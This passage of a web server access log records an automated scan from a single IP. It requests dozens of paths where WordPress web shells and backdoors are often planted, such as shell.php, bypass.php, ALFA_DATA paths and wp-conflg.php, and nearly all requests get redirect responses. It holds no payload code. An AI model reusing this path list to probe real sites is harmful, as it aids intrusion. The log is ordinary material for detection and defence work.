/wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-includes/blocks/calendar/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-admin/js/instaall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-admin/css/colors/blue/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:48 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /.well-known/wincust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-content/themes/twentytwentyfour/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /fonts/database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /ff2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-includes/SimplePie/Exception-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-content/uploads/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /worm.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /.well-known/pki-validation/1.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-admin/css/colors/sunrise/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:49 +0300] "GET /wp-content/themes/twentytwentyfour/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /wp-admin/network/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /css/slider.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:50 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /wp-includes/css/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:51 +0300] "GET 